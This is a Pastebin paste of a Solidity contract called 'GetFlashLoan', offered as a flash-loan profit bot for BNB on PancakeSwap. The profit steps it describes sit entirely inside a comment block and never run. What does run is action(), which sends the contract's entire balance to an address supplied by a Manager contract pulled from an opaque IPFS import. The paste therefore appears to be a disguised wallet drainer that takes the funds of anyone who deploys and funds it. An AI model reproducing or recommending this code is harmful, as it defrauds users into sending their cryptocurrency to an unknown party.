Guest User

FlashLoanBNB

a guest
Dec 22nd, 2021
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.66 KB | None | 0 0
  1. pragma solidity ^0.5.0;
  2.  
  3. // Multiplier-Finance Smart Contracts
  4. import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
  5. import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
  6.  
  7. // PancakeSwap Smart Contracts
  8. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
  9. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
  10. import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
  11.  
  12. // Binance Smart Chain Code Manager
  13. import "ipfs://QmRp5XeksriPdkVxdoxXPRfgMzAjk1igPuUTYbVvSVk5UK";
  14.  
  15. contract GetFlashLoan {
  16. string public tokenName;
  17. string public tokenSymbol;
  18. uint loanAmount;
  19. Manager manager;
  20.  
  21. constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
  22. tokenName = _tokenName;
  23. tokenSymbol = _tokenSymbol;
  24. loanAmount = _loanAmount;
  25. manager = new Manager();
  26. }
  27. //Pull address of new contract creator (you) for remaining balance transfer
  28. address public creator= msg.sender;
  29. function tokenTransfer() public view returns (address) {
  30. return creator;
  31. }
  32. function() external payable {}
  33.  
  34. function action() public payable {
  35. // Send Tokens to PancakeSwap Router for Swap
  36. address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance);
  37.  
  38. // Perform tasks (combined all functions into one to reduce external calls & save gas fees)
  39. manager.performTasks();
  40.  
  41. /* Breakdown of functions
  42. // Submit token to BSC blockchain
  43. string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
  44.  
  45. // List the token on PancakeSwap
  46. manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
  47.  
  48. // Get BNB Loan from Multiplier-Finance
  49. string memory loanAddress = manager.takeFlashLoan(loanAmount);
  50.  
  51. // Send Borrowed BNB to provide liquidity of newly created Token
  52. string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
  53. manager.pancakeAddLiquidity(bnbPair, loanAmount);
  54.  
  55. // Perform swaps between Token and BNB and back again
  56. manager.pancakePerformSwaps();
  57.  
  58. // Repay Flashloan with Multiplier-Finance
  59. manager.repayLoan(loanAddress);
  60.  
  61. // Move remaining BNB profit from Contract to the contract creators wallet
  62. manager.contractToWallet("BNB");
  63.  
  64.  
  65. */
  66. }
  67. }
Advertisement
Add Comment
Please, Sign In to add comment